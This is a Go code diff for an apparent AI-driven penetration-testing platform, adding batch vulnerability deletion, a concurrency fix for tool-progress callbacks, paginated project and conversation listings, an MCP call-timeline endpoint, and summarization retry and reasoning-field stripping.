-	inCat := stringsTrimDefault(incoming.Category, existing.Category)
-	inConf := stringsTrimDefault(incoming.Confidence, existing.Confidence)
-	return existing.Summary != incoming.Summary ||
-		existing.Body != mergedBody ||
-		existing.Category != inCat ||
-		existing.Confidence != inConf
-}
-
-func stringsTrimDefault(s, fallback string) string {
-	if strings.TrimSpace(s) == "" {
-		return fallback
-	}
-	return strings.TrimSpace(s)
-}
-
-func scanProjectFactVersionRow(row *sql.Row) (*ProjectFactVersion, error) {
-	var v ProjectFactVersion
-	var pinned int
-	var archivedAt string
-	err := row.Scan(
-		&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
-		&v.SourceConversationID, &v.SourceMessageID, &pinned,
-		&v.RelatedVulnerabilityID, &archivedAt,
-	)
-	if err != nil {
-		if err == sql.ErrNoRows {
-			return nil, fmt.Errorf("事实版本不存在")
-		}
-		return nil, err
-	}
-	v.Pinned = pinned != 0
-	v.ArchivedAt = parseDBTime(archivedAt)
-	return &v, nil
-}
-
-func scanProjectFactVersionFromRows(rows *sql.Rows) (*ProjectFactVersion, error) {
-	var v ProjectFactVersion
-	var pinned int
-	var archivedAt string
-	err := rows.Scan(
-		&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
-		&v.SourceConversationID, &v.SourceMessageID, &pinned,
-		&v.RelatedVulnerabilityID, &archivedAt,
-	)
-	if err != nil {
-		return nil, err
-	}
-	v.Pinned = pinned != 0
-	v.ArchivedAt = parseDBTime(archivedAt)
-	return &v, nil
-}

internal/database/project_time_test.go

@@ -37,7 +37,7 @@ func TestListProjectFacts_updatedAtJSON(t *testing.T) {
 	if err != nil {
 		t.Fatal(err)
 	}
-	projects, err := db.ListProjects("", 1, 0)
+	projects, err := db.ListProjects("", "", 1, 0)
 	if err != nil || len(projects) == 0 {
 		t.Skip("no projects")
 	}

internal/database/vulnerability.go

@@ -263,6 +263,39 @@ func (db *DB) UpdateVulnerability(id string, vuln *Vulnerability) error {
 	return nil
 }
 
+// DeleteVulnerabilitiesByFilter 按筛选条件批量删除漏洞，返回实际删除条数
+func (db *DB) DeleteVulnerabilitiesByFilter(filter VulnerabilityListFilter) (int64, error) {
+	tx, err := db.Begin()
+	if err != nil {
+		return 0, fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	where := "WHERE 1=1"
+	args := []interface{}{}
+	where, args = filter.appendWhere(where, args)
+
+	clearQuery := `UPDATE project_facts SET related_vulnerability_id = NULL
+		WHERE related_vulnerability_id IN (SELECT id FROM vulnerabilities ` + where + `)`
+	if _, err := tx.Exec(clearQuery, args...); err != nil {
+		return 0, fmt.Errorf("清理事实漏洞关联失败: %w", err)
+	}
+
+	deleteQuery := `DELETE FROM vulnerabilities ` + where
+	result, err := tx.Exec(deleteQuery, args...)
+	if err != nil {
+		return 0, fmt.Errorf("批量删除漏洞失败: %w", err)
+	}
+	deleted, err := result.RowsAffected()
+	if err != nil {
+		return 0, fmt.Errorf("获取删除条数失败: %w", err)
+	}
+	if err := tx.Commit(); err != nil {
+		return 0, fmt.Errorf("提交事务失败: %w", err)
+	}
+	return deleted, nil
+}
+
 // DeleteVulnerability 删除漏洞
 func (db *DB) DeleteVulnerability(id string) error {
 	tx, err := db.Begin()

internal/handler/agent.go

@@ -101,7 +101,40 @@ func sameResponseStreamMeta(a, b map[string]interface{}) bool {
 	}
 	orchA, _ := a["orchestration"].(string)
 	orchB, _ := b["orchestration"].(string)
-	return strings.TrimSpace(orchA) == strings.TrimSpace(orchB)
+	if strings.TrimSpace(orchA) != strings.TrimSpace(orchB) {
+		return false
+	}
+	iterA := responseStreamIterationFromMeta(a)
+	iterB := responseStreamIterationFromMeta(b)
+	if iterA != 0 && iterB != 0 && iterA != iterB {
+		return false
+	}
+	streamA, _ := a["streamId"].(string)
+	streamB, _ := b["streamId"].(string)
+	streamA = strings.TrimSpace(streamA)
+	streamB = strings.TrimSpace(streamB)
+	if streamA != "" && streamB != "" && streamA != streamB {
+		return false
+	}
+	return true
+}
+
+func responseStreamIterationFromMeta(m map[string]interface{}) int {
+	if m == nil {
+		return 0
+	}
+	switch v := m["iteration"].(type) {
+	case int:
+		return v
+	case int32:
+		return int(v)
+	case int64:
+		return int(v)
+	case float64:
+		return int(v)
+	default:
+		return 0
+	}
 }
 
 func discardPlanningIfEchoesToolResult(respPlan *responsePlanAgg, toolData interface{}) {
@@ -830,6 +863,10 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	seenToolCallSigs := make(map[string]string)      // toolCallId -> payload signature
 	seenToolResultSigs := make(map[string]string)    // toolCallId -> payload signature
 
+	// progressMu 保护闭包内 map 与聚合状态。Eino parallelRunToolCall 会在多 goroutine 中并发回调
+	// progress（ToolInvokeNotifyHolder.Fire → createProgressCallback），未加锁的 map 会触发 fatal panic。
+	var progressMu sync.Mutex
+
 	// response_start + response_delta：前端时间线显示为「📝 规划中」（monitor.js），不落逐条 delta；
 	// 聚合为一条 planning 写入 process_details，刷新后与线上一致。
 	var respPlan responsePlanAgg
@@ -891,6 +928,9 @@ func (h *AgentHandler) createProgressCallback(runCtx context.Context, cancelRun
 	}
 
 	return func(eventType, message string, data interface{}) {
+		progressMu.Lock()
+		defer progressMu.Unlock()
+
 		// 上游在重试/补偿时可能重复回调相同 tool_call/tool_result。
 		// 这里做幂等过滤，保证前端展示和 process_details 都以唯一事件为准。
 		if (eventType == "tool_call" || eventType == "tool_result") && data != nil {

internal/handler/agent_progress_callback_test.go

@@ -0,0 +1,48 @@
+package handler
+
+import (
+	"context"
+	"fmt"
+	"sync"
+	"testing"
+
+	"cyberstrike-ai/internal/config"
+
+	"go.uber.org/zap"
+)
+
+// TestCreateProgressCallback_ConcurrentToolEvents 回归 issue #142：并行 tool 回调不得 concurrent map panic。
+func TestCreateProgressCallback_ConcurrentToolEvents(t *testing.T) {
+	logger := zap.NewNop()
+	h := &AgentHandler{
+		logger: logger,
+		config: &config.Config{},
+	}
+	cb := h.createProgressCallback(context.Background(), nil, "conv-race-test", "", nil)
+
+	const workers = 64
+	var wg sync.WaitGroup
+	wg.Add(workers * 2)
+	for i := 0; i < workers; i++ {
+		i := i
+		go func() {
+			defer wg.Done()
+			toolCallID := fmt.Sprintf("tc-%d", i)
+			cb("tool_call", "calling skill", map[string]interface{}{
+				"toolCallId":   toolCallID,
+				"toolName":     "skill",
+				"argumentsObj": map[string]interface{}{"skill_name": "demo-skill"},
+			})
+		}()
+		go func() {
+			defer wg.Done()
+			toolCallID := fmt.Sprintf("tc-%d", i)
+			cb("tool_result", "skill done", map[string]interface{}{
+				"toolCallId": toolCallID,
+				"toolName":   "skill",
+				"success":    true,
+			})
+		}()
+	}
+	wg.Wait()
+}

internal/handler/config.go

@@ -1548,9 +1548,6 @@ func updateVisionConfig(doc *yaml.Node, cfg config.VisionConfig) {
 	if strings.TrimSpace(cfg.Detail) != "" {
 		setStringInMap(visionNode, "detail", cfg.Detail)
 	}
-	if len(cfg.AllowedRoots) > 0 {
-		setStringSliceInMap(visionNode, "allowed_roots", cfg.AllowedRoots)
-	}
 }
 
 func updateOpenAIConfig(doc *yaml.Node, cfg config.OpenAIConfig) {

internal/handler/conversation.go

@@ -96,18 +96,44 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
 	limit, _ := strconv.Atoi(limitStr)
 	offset, _ := strconv.Atoi(offsetStr)
 
-	if limit <= 0 || limit > 100 {
+	if limit <= 0 {
 		limit = 50
 	}
+	if limit > 1000 {
+		limit = 1000
+	}
 
-	conversations, err := h.db.ListConversations(limit, offset, search)
+	excludeGrouped := strings.TrimSpace(search) == "" &&
+		(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
+
+	var conversations []*database.Conversation
+	var total int
+	var err error
+	if excludeGrouped {
+		conversations, err = h.db.ListUngroupedConversations(limit, offset)
+		if err == nil {
+			total, err = h.db.CountUngroupedConversations()
+		}
+	} else {
+		conversations, err = h.db.ListConversations(limit, offset, search)
+		if err == nil {
+			total, err = h.db.CountConversations(search)
+		}
+	}
 	if err != nil {
 		h.logger.Error("获取对话列表失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
 	}
-
-	c.JSON(http.StatusOK, conversations)
+	if conversations == nil {
+		conversations = []*database.Conversation{}
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"conversations": conversations,
+		"total":         total,
+		"limit":         limit,
+		"offset":        offset,
+	})
 }
 
 // GetConversation 获取对话

internal/handler/monitor.go

@@ -327,6 +327,124 @@ func (h *MonitorHandler) GetStats(c *gin.Context) {
 	c.JSON(http.StatusOK, stats)
 }
 
+// CallsTimelinePoint 调用趋势数据点
+type CallsTimelinePoint struct {
+	T      time.Time `json:"t"`
+	Total  int       `json:"total"`
+	Failed int       `json:"failed"`
+}
+
+// CallsTimelineSummary 调用趋势汇总
+type CallsTimelineSummary struct {
+	TotalCalls int `json:"totalCalls"`
+	Peak       int `json:"peak"`
+}
+
+// CallsTimelineResponse 调用趋势响应
+type CallsTimelineResponse struct {
+	Range   string               `json:"range"`
+	Points  []CallsTimelinePoint `json:"points"`
+	Summary CallsTimelineSummary `json:"summary"`
+}
+
+type callsTimelineConfig struct {
+	rangeKey     string
+	duration     time.Duration
+	bucketSize   time.Duration
+	dailyBuckets bool
+}
+
+func parseCallsTimelineRange(raw string) (callsTimelineConfig, bool) {
+	switch strings.TrimSpace(raw) {
+	case "24h":
+		return callsTimelineConfig{rangeKey: "24h", duration: 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
+	case "30d":
+		return callsTimelineConfig{rangeKey: "30d", duration: 30 * 24 * time.Hour, bucketSize: 24 * time.Hour, dailyBuckets: true}, true
+	default:
+		return callsTimelineConfig{rangeKey: "7d", duration: 7 * 24 * time.Hour, bucketSize: time.Hour, dailyBuckets: false}, true
+	}
+}
+
+func truncateToBucket(t time.Time, bucketSize time.Duration, dailyBuckets bool) time.Time {
+	if dailyBuckets {
+		y, m, d := t.Date()
+		return time.Date(y, m, d, 0, 0, 0, 0, t.Location())
+	}
+	return t.Truncate(bucketSize)
+}
+
+func buildCallsTimelinePoints(cfg callsTimelineConfig, buckets map[time.Time]struct{ total, failed int }) []CallsTimelinePoint {
+	now := time.Now()
+	start := truncateToBucket(now.Add(-cfg.duration), cfg.bucketSize, cfg.dailyBuckets)
+	end := truncateToBucket(now, cfg.bucketSize, cfg.dailyBuckets)
+
+	points := make([]CallsTimelinePoint, 0)
+	for current := start; !current.After(end); current = current.Add(cfg.bucketSize) {
+		val := buckets[current]
+		points = append(points, CallsTimelinePoint{
+			T:      current,
+			Total:  val.total,
+			Failed: val.failed,
+		})
+	}
+	return points
+}
+
+func (h *MonitorHandler) loadCallsTimeline(cfg callsTimelineConfig) []CallsTimelinePoint {
+	since := time.Now().Add(-cfg.duration)
+	bucketMap := make(map[time.Time]struct{ total, failed int })
+
+	if h.db != nil {
+		dbBuckets, err := h.db.LoadCallsTimeline(since, cfg.dailyBuckets)
+		if err != nil {
+			h.logger.Warn("从数据库加载调用趋势失败，回退到内存数据", zap.Error(err))
+		} else {
+			for _, b := range dbBuckets {
+				key := truncateToBucket(b.BucketTime, cfg.bucketSize, cfg.dailyBuckets)
+				entry := bucketMap[key]
+				entry.total += b.Total
+				entry.failed += b.Failed
+				bucketMap[key] = entry
+			}
+			return buildCallsTimelinePoints(cfg, bucketMap)
+		}
+	}
+
+	for _, exec := range h.mcpServer.GetAllExecutions() {
+		if exec == nil || exec.StartTime.Before(since) {
+			continue
+		}
+		key := truncateToBucket(exec.StartTime, cfg.bucketSize, cfg.dailyBuckets)
+		entry := bucketMap[key]
+		entry.total++
+		if exec.Status == "failed" || exec.Status == "cancelled" {
+			entry.failed++
+		}
+		bucketMap[key] = entry
+	}
+	return buildCallsTimelinePoints(cfg, bucketMap)
+}
+
+// GetCallsTimeline 获取 MCP 工具调用趋势
+func (h *MonitorHandler) GetCallsTimeline(c *gin.Context) {
+	cfg, _ := parseCallsTimelineRange(c.Query("range"))
+	points := h.loadCallsTimeline(cfg)
+
+	summary := CallsTimelineSummary{}
+	for _, p := range points {
+		summary.TotalCalls += p.Total
+		if p.Total > summary.Peak {
+			summary.Peak = p.Total
+		}
+	}
+
+	c.JSON(http.StatusOK, CallsTimelineResponse{
+		Range:   cfg.rangeKey,
+		Points:  points,
+		Summary: summary,
+	})
+}
+
 // DeleteExecution 删除执行记录
 func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
 	id := c.Param("id")

internal/handler/openapi.go

@@ -809,8 +809,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"jpeg_quality":                 map[string]interface{}{"type": "integer", "description": "JPEG 质量 60-100"},
 						"max_payload_bytes":            map[string]interface{}{"type": "integer", "description": "送 API 体积上限（字节）"},
 						"skip_preprocess_below_bytes":  map[string]interface{}{"type": "integer", "description": "低于该字节且尺寸合规时可原图直传；0=始终压缩"},
-						"detail":                       map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
-						"allowed_roots":                map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "额外允许读取的绝对路径根"},
+						"detail": map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
 					},
 				},
 				"AnalyzeImageToolCall": map[string]interface{}{
@@ -819,7 +818,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					"properties": map[string]interface{}{
 						"path": map[string]interface{}{
 							"type":        "string",
-							"description": "图片路径（cwd、chat_uploads、result_storage_dir 或 allowed_roots 下）",
+							"description": "图片绝对路径或相对于进程工作目录的路径",
 						},
 						"question": map[string]interface{}{
 							"type":        "string",

internal/handler/project.go

@@ -61,12 +61,40 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
 	c.JSON(http.StatusOK, created)
 }
 
+// GetDashboardSummary GET /api/projects/dashboard-summary
+func (h *ProjectHandler) GetDashboardSummary(c *gin.Context) {
+	limit, _ := strconv.Atoi(strings.TrimSpace(c.DefaultQuery("fact_limit", "5")))
+	if limit <= 0 {
+		limit = 5
+	}
+	if limit > 50 {
+		limit = 50
+	}
+	summary, err := h.db.GetProjectDashboardSummary(limit)
+	if err != nil {
+		h.logger.Error("获取项目仪表盘摘要失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if summary.RecentFacts == nil {
+		summary.RecentFacts = []database.ProjectDashboardFact{}
+	}
+	c.JSON(http.StatusOK, summary)
+}
+
 // ListProjects GET /api/projects
 func (h *ProjectHandler) ListProjects(c *gin.Context) {
 	status := c.Query("status")
-	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "200"))
+	search := c.Query("search")
+	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "50"))
 	offset, _ := strconv.Atoi(c.Query("offset"))
-	list, err := h.db.ListProjects(status, limit, offset)
+	if limit <= 0 {
+		limit = 50
+	}
+	if limit > 500 {
+		limit = 500
+	}
+	list, err := h.db.ListProjects(status, search, limit, offset)
 	if err != nil {
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
@@ -74,7 +102,17 @@ func (h *ProjectHandler) ListProjects(c *gin.Context) {
 	if list == nil {
 		list = []*database.Project{}
 	}
-	c.JSON(http.StatusOK, list)
+	total, err := h.db.CountProjects(status, search)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"projects": list,
+		"total":    total,
+		"limit":    limit,
+		"offset":   offset,
+	})
 }
 
 // GetProjectStats GET /api/projects/:id/stats
@@ -240,44 +278,6 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
 	c.JSON(http.StatusOK, list)
 }
 
-// GetFactPreviousVersion GET /api/projects/:id/facts/:factId/previous-version
-func (h *ProjectHandler) GetFactPreviousVersion(c *gin.Context) {
-	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
-		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
-		return
-	}
-	if strings.TrimSpace(existing.SupersedesFactID) == "" {
-		c.JSON(http.StatusNotFound, gin.H{"error": "无上一版本"})
-		return
-	}
-	v, err := h.db.GetProjectFactVersion(existing.SupersedesFactID)
-	if err != nil {
-		c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
-		return
-	}
-	c.JSON(http.StatusOK, v)
-}
-
-// ListFactVersions GET /api/projects/:id/facts/:factId/versions
-func (h *ProjectHandler) ListFactVersions(c *gin.Context) {
-	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
-		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
-		return
-	}
-	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))
-	list, err := h.db.ListProjectFactVersions(existing.ID, limit)
-	if err != nil {
-		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
-		return
-	}
-	if list == nil {
-		list = []*database.ProjectFactVersion{}
-	}
-	c.JSON(http.StatusOK, list)
-}
-
 // CreateFact POST /api/projects/:id/facts
 func (h *ProjectHandler) CreateFact(c *gin.Context) {
 	var req upsertFactRequest

internal/handler/robot.go

@@ -314,7 +314,7 @@ func (h *RobotHandler) resolveProjectByIDOrName(idOrName string) (*database.Proj
 	if p, err := h.db.GetProject(idOrName); err == nil {
 		return p, ""
 	}
-	list, err := h.db.ListProjects("", 200, 0)
+	list, err := h.db.ListProjects("", "", 200, 0)
 	if err != nil {
 		return nil, "查询项目失败: " + err.Error()
 	}
@@ -353,7 +353,7 @@ func (h *RobotHandler) cmdProjects() string {
 	if !h.projectsEnabled() {
 		return "项目功能未启用（config.project.enabled）。"
 	}
-	list, err := h.db.ListProjects("", 50, 0)
+	list, err := h.db.ListProjects("", "", 50, 0)
 	if err != nil {
 		return "获取项目列表失败: " + err.Error()
 	}

internal/handler/vulnerability.go

@@ -311,6 +311,38 @@ func (h *VulnerabilityHandler) DeleteVulnerability(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"message": "删除成功"})
 }
 
+// BatchDeleteVulnerabilities 按当前筛选条件批量删除漏洞
+func (h *VulnerabilityHandler) BatchDeleteVulnerabilities(c *gin.Context) {
+	filter := parseVulnerabilityListFilter(c)
+
+	total, err := h.db.CountVulnerabilities(filter)
+	if err != nil {
+		h.logger.Error("统计待删除漏洞失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if total == 0 {
+		c.JSON(http.StatusOK, gin.H{"message": "当前筛选条件下没有可删除的漏洞", "deleted": 0})
+		return
+	}
+
+	deleted, err := h.db.DeleteVulnerabilitiesByFilter(filter)
+	if err != nil {
+		h.logger.Error("批量删除漏洞失败", zap.Error(err), zap.Int("count", total))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	if h.audit != nil {
+		h.audit.RecordOK(c, "vulnerability", "delete_batch", "批量删除漏洞记录", "vulnerability", "", map[string]interface{}{
+			"deleted": deleted,
+			"filter":  filter,
+		})
+	}
+
+	c.JSON(http.StatusOK, gin.H{"message": "批量删除成功", "deleted": deleted})
+}
+
 // GetVulnerabilityStats 获取漏洞统计
 func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
 	filter := parseVulnerabilityListFilter(c)

internal/multiagent/eino_adk_run_loop.go

@@ -176,6 +176,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 	lastPlanExecuteExecutor = ""
 	var reasoningStreamSeq int64
 	var einoSubReplyStreamSeq int64
+	var mainResponseStreamSeq int64
 	toolEmitSeen := make(map[string]struct{})
 	var einoMainRound int
 	var einoLastAgent string
@@ -632,6 +633,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 		mv := ev.Output.MessageOutput
 
 		if mv.IsStreaming && mv.MessageStream != nil {
+			mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
 			streamHeaderSent := false
 			var reasoningStreamID string
 			var toolStreamFragments []schema.ToolCall
@@ -738,6 +740,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 											"einoRole":           "orchestrator",
 											"einoAgent":          ev.AgentName,
 											"orchestration":      orchMode,
+											"iteration":          einoMainRound,
+											"streamId":           mainStreamID,
 										})
 										streamHeaderSent = true
 									}
@@ -747,6 +751,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 										"einoRole":        "orchestrator",
 										"einoAgent":       ev.AgentName,
 										"orchestration":   orchMode,
+										"iteration":     einoMainRound,
+										"streamId":        mainStreamID,
 									}, mainAssistantBuf))
 									mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta)
 								}
@@ -806,6 +812,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 										"einoRole":           "orchestrator",
 										"einoAgent":          ev.AgentName,
 										"orchestration":      orchMode,
+										"iteration":          einoMainRound,
+										"streamId":           mainStreamID,
 									})
 								}
 								progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{
@@ -814,6 +822,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 									"einoRole":        "orchestrator",
 									"einoAgent":       ev.AgentName,
 									"orchestration":   orchMode,
+									"iteration":       einoMainRound,
+									"streamId":        mainStreamID,
 								}, mainAssistantBuf))
 								mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail)
 							}
@@ -916,6 +926,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 						}
 						executeStdoutDupMu.Unlock()
 						if progress != nil {
+							nonStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
 							progress("response_start", "", map[string]interface{}{
 								"conversationId":     conversationID,
 								"mcpExecutionIds":    snapshotMCPIDs(),
@@ -923,6 +934,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 								"einoRole":           "orchestrator",
 								"einoAgent":          ev.AgentName,
 								"orchestration":      orchMode,
+								"iteration":          einoMainRound,
+								"streamId":           nonStreamID,
 							})
 							progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{
 								"conversationId":  conversationID,
@@ -930,6 +943,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
 								"einoRole":        "orchestrator",
 								"einoAgent":       ev.AgentName,
 								"orchestration":   orchMode,
+								"iteration":       einoMainRound,
+								"streamId":        nonStreamID,
 							}, body))
 						}
 						lastAssistant = body

internal/multiagent/eino_single_runner.go

@@ -117,6 +117,7 @@ func RunEinoSingleChatModelAgent(
 		},
 	}
 	httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
+	openai.AttachSummarizationDiagTransport(httpClient, logger)
 
 	baseModelCfg := &einoopenai.ChatModelConfig{
 		APIKey:     appCfg.OpenAI.APIKey,
@@ -160,13 +161,7 @@ func RunEinoSingleChatModelAgent(
 		handlers = append(handlers, capMw)
 	}
 
-	maxIter := ma.MaxIteration
-	if maxIter <= 0 {
-		maxIter = appCfg.Agent.MaxIterations
-	}
-	if maxIter <= 0 {
-		maxIter = 40
-	}
+	maxIter := agentMaxIterations(appCfg)
 
 	mainToolsCfg := adk.ToolsConfig{
 		ToolsNodeConfig: compose.ToolsNodeConfig{

internal/multiagent/eino_summarize.go

@@ -9,15 +9,19 @@ import (
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/config"
+	copenai "cyberstrike-ai/internal/openai"
 
 	"github.com/bytedance/sonic"
 	"github.com/cloudwego/eino/adk"
 	"github.com/cloudwego/eino/adk/middlewares/summarization"
 	"github.com/cloudwego/eino/components/model"
 	"github.com/cloudwego/eino/schema"
+	einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
 	"go.uber.org/zap"
 )
 
+const defaultSummarizationRetryMax = 3
+
 // einoSummarizeUserInstruction：压缩历史时保留渗透测试关键信息。
 const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
 
@@ -89,8 +93,32 @@ func newEinoSummarizationMiddleware(
 		}
 	}
 
+	retryMax := defaultSummarizationRetryMax
+	if mwCfg != nil && mwCfg.SummarizationRetryMaxAttempts > 0 {
+		retryMax = mwCfg.SummarizationRetryMaxAttempts
+	}
+
+	// ModelOptions apply only to summarization Generate (same ChatModel instance as the agent).
+	// Strip thinking/reasoning on this call path; mark requests for empty-choices diagnostics.
+	summaryModelOpts := []model.Option{
+		einoopenai.WithExtraHeader(map[string]string{
+			copenai.SummarizationRequestHeader: "1",
+		}),
+		einoopenai.WithRequestPayloadModifier(func(_ context.Context, in []*schema.Message, rawBody []byte) ([]byte, error) {
+			if logger != nil {
+				logger.Info("eino summarization generate request",
+					zap.Int("input_messages", len(in)),
+					zap.Int("payload_bytes", len(rawBody)),
+					zap.String("model", modelName),
+				)
+			}
+			return stripReasoningFromSummarizationPayload(rawBody)
+		}),
+	}
+
 	mw, err := summarization.New(ctx, &summarization.Config{
-		Model: summaryModel,
+		Model:        summaryModel,
+		ModelOptions: summaryModelOpts,
 		Trigger: &summarization.TriggerCondition{
 			ContextTokens: trigger,
 		},
@@ -102,6 +130,18 @@ func newEinoSummarizationMiddleware(
 			Enabled:   true,
 			MaxTokens: preserveMax,
 		},
+		Retry: &summarization.RetryConfig{
+			MaxRetries: &retryMax,
+			ShouldRetry: func(_ context.Context, _ adk.Message, err error) bool {
+				if err != nil && logger != nil {
+					logger.Warn("eino summarization generate attempt failed, will retry if attempts remain",
+						zap.Error(err),
+						zap.Int("max_retries", retryMax),
+					)
+				}
+				return err != nil
+			},
+		},
 		Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
 			return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
 		},

internal/multiagent/eino_summarize_payload.go

@@ -0,0 +1,35 @@
+package multiagent
+
+import (
+	"github.com/bytedance/sonic"
+)
+
+// stripReasoningFromSummarizationPayload removes thinking / reasoning fields from a
+// chat-completions JSON body. Applied only to summarization Generate calls via
+// model.ModelOptions on the shared ChatModel — main-agent requests are unchanged.
+func stripReasoningFromSummarizationPayload(rawBody []byte) ([]byte, error) {
+	var payload map[string]any
+	if err := sonic.Unmarshal(rawBody, &payload); err != nil {
+		return rawBody, nil
+	}
+	changed := false
+	for _, key := range []string{
+		"thinking",
+		"reasoning_effort",
+		"output_config",
+		"reasoning",
+	} {
+		if _, ok := payload[key]; ok {
+			delete(payload, key)
+			changed = true
+		}
+	}
+	if !changed {
+		return rawBody, nil
+	}
+	out, err := sonic.Marshal(payload)
+	if err != nil {
+		return rawBody, err
+	}
+	return out, nil
+}

internal/multiagent/eino_summarize_payload_test.go

@@ -0,0 +1,30 @@
+package multiagent
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestStripReasoningFromSummarizationPayload(t *testing.T) {
+	in := []byte(`{"model":"deepseek-chat","messages":[],"thinking":{"type":"enabled"},"reasoning_effort":"high"}`)
+	out, err := stripReasoningFromSummarizationPayload(in)
+	if err != nil {
+		t.Fatal(err)
+	}
+	s := string(out)
+	if strings.Contains(s, "thinking") || strings.Contains(s, "reasoning_effort") {
+		t.Fatalf("expected reasoning fields stripped, got %s", s)
+	}
+	if !strings.Contains(s, `"model":"deepseek-chat"`) {
+		t.Fatalf("expected model preserved, got %s", s)
+	}
+
+	plain := []byte(`{"model":"gpt-4o","messages":[]}`)
+	out2, err := stripReasoningFromSummarizationPayload(plain)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(out2) != string(plain) {
+		t.Fatalf("expected unchanged payload, got %s", out2)
+	}
+}

internal/multiagent/max_iterations.go

@@ -0,0 +1,22 @@
+package multiagent
+
+import "cyberstrike-ai/internal/config"
+
+const defaultAgentMaxIterations = 3000
+
+// agentMaxIterations 全局上限：仅使用 config.agent.max_iterations；≤0 时与 config 默认一致为 3000。
+func agentMaxIterations(appCfg *config.Config) int {
+	if appCfg != nil && appCfg.Agent.MaxIterations > 0 {
+		return appCfg.Agent.MaxIterations
+	}
+	return defaultAgentMaxIterations
+}
+
+// resolveMaxIterations 统一迭代上限：Markdown/子代理 front matter 中 max_iterations>0 可单独覆盖，否则使用 agent.max_iterations。
+// multi_agent.max_iteration 与 sub_agent_max_iterations 已废弃，不再参与计算。
+func resolveMaxIterations(appCfg *config.Config, markdownOverride int) int {
+	if markdownOverride > 0 {
+		return markdownOverride
+	}
+	return agentMaxIterations(appCfg)
+}

internal/multiagent/max_iterations_test.go

@@ -0,0 +1,31 @@
+package multiagent
+
+import (
+	"testing"
+
+	"cyberstrike-ai/internal/config"
+)
+
+func TestAgentMaxIterations(t *testing.T) {
+	if got := agentMaxIterations(nil); got != defaultAgentMaxIterations {
+		t.Fatalf("nil cfg: got %d want %d", got, defaultAgentMaxIterations)
+	}
+	cfg := &config.Config{Agent: config.AgentConfig{MaxIterations: 12000}}
+	if got := agentMaxIterations(cfg); got != 12000 {
+		t.Fatalf("got %d want 12000", got)
+	}
+	cfg.Agent.MaxIterations = 0
